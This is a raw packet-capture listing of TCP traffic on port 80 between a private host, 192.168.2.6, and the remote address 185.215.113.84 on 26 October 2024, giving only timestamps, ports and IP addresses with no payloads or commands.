Oct 26, 2024 07:27:11.078947067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078977108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078979969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078989983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078993082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079009056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079019070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079025984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079037905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079046965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079066038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079068899 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079081059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079097033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079103947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079113007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079123020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079128981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079139948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079158068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079168081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079201937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079219103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079232931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079240084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079248905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079262018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079265118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079277039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079281092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079292059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079303980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079317093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079324961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079328060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079345942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079345942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079361916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079371929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079380035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079382896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079396009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079406023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079416037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079422951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079438925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079458952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079458952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079476118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079489946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079499006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079505920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079514980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079521894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079526901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079543114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079546928 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079559088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079566002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079575062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079583883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079591036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079602957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079607964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079613924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079622984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079634905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079639912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079652071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079664946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079664946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079680920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079680920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079705000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079706907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079720974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079721928 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079735994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079741955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079752922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079760075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079768896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079775095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079786062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079802036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079804897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079804897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079817057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079824924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079833031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079839945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079843998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079848051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079864025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079864979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079879999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079890966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079895020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079909086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079910994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079926968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079937935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079952002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079965115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.079968929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079982996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.079999924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080008030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080023050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080023050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080039024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080045938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080054045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080065012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080071926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080085039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080090046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080106974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080112934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080113888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080121994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080136061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080147028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080147028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080152988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080166101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080169916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080185890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080193043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080207109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080212116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080229998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080235958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080246925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080250978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080270052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080271006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080284119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080290079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080306053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080306053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080321074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080327034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080336094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080343962 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080352068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080367088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080368042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080384016 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080383062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080390930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080399990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080414057 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080425024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080440044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080441952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080441952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080455065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080462933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080471992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080471992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080487967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080492973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080507994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080526114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080530882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080542088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080557108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080570936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080594063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080609083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080624104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080632925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080632925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080632925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080632925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080646038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080650091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080663919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080672026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080688000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080702066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080712080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080717087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080729961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080732107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080749989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080765009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080775023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080775023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080775976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080781937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080797911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080799103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080816031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080821991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080832005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080847025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080847979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080873013 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080887079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080902100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080912113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080919027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080938101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080943108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080957890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080960989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080974102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.080986977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.080990076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081006050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081007004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081024885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081027031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081041098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081048965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081065893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081082106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081098080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081116915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081123114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081123114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081123114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081132889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081132889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081147909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081195116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081197977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081197977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081239939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081279039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081294060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081316948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081319094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081334114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081336021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081347942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081357956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081363916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.081378937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081394911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.081417084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112168074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112185001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112211943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112219095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112227917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112232924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112235069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112253904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112268925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112284899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112298965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112301111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112318993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112319946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112334013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112339973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112353086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112364054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112377882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112384081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112404108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112415075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112437010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112449884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112464905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112489939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112493038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112504005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112530947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112545013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112582922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112586021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112601995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112626076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112639904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112643957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112654924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112670898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112685919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112692118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112700939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112713099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112726927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112731934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112746954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112754107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112768888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112788916 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112818956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112857103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.112931013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112951994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112968922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112983942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.112998962 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113002062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113013983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113018990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113035917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113042116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113056898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113061905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113073111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113086939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113090992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113110065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113111973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113137960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113141060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113154888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113156080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113171101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113187075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113217115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113230944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113245010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113251925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113251925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113251925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113251925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113290071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113584042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113610029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113622904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113652945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113667011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113691092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113707066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113723040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113742113 CEST	49991	80	192.168.2.6	185.215.113.84
